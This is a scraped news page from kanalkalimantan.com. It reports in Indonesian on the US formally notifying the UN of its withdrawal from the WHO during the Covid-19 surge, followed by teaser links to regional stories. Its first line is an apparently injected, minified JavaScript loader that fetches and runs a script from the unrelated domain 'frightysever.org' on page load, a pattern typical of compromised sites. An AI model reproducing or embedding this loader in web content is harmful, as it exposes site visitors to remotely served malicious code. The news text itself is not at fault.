(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, WASHINGTON DC – Gedung Putih secara resmi telah memberi tahu Persatuan Bangsa-Bangsa (PBB) bahwa Amerika keluar dari Organisasi Kesehatan Dunia (World Health Organization/WHO), meskipun jumlah kasus Covid-19 melonjak di AS.
Presiden Donald Trump membekukan dana AS untuk WHO pada April dan sebulan kemudian, mengumumkan niatnya untuk keluar. Ia menuduh organisasi itu bias, condong pada China dalam penanganan wabah virus corona dan menuntut reformasi.
“Kita telah merinci reformasi yang harus dibuat dan melibatkan mereka secara langsung, tetapi mereka menolak untuk bertindak. Karena mereka gagal melakukan reformasi yang diminta dan sangat dibutuhkan,hari ini kita akan memutuskan hubungan,” kata Trump pada Mei.
Menurut aturan WHO, negara mana saja yang hendak keluar dari organisasi itu harus memberi pemberitahuan satu tahun sebelumnya. Jika Trump kalah dalam pemilihan November, presiden berikutnya bisa memutuskan untuk tetap menjadi anggota.
Amerika memimpin dunia dengan kasus Covid-19 terbanyak, yaitu dengan hampir 3 juta penderita dan hampir 131.000 kematian.
Pakar kesehatan AS menyebut tindakan presiden itu picik dan menghancurkan kerja sama selama puluhan tahun dalam memerangi semua penyakit.(my/pp)
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin memulai program SKPD Instansi Mengajar dengan… Read More
KANALKALIMANTAN.COM, SOLO - Penjabat (Pj) Bupati Kapuas Erlin Hardi bersilaturahmi ke kediaman Habib Syech bin… Read More
KANALKALIMANTAN.COM, SOLO - Kerajinan dari rotan merah menjadi salah satu primadona yang dihadirkan Dewan Kerajinan… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Penjabat (Pj) Bupati Kapuas Erlin Hardi berdialog dengan mahasiswa asal Kabupaten Kapuas… Read More
Empat Terdakwa Jalani Sidang, Satu Orang Mantan Kepala Dinas Kesehatan Read More
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
This website uses cookies.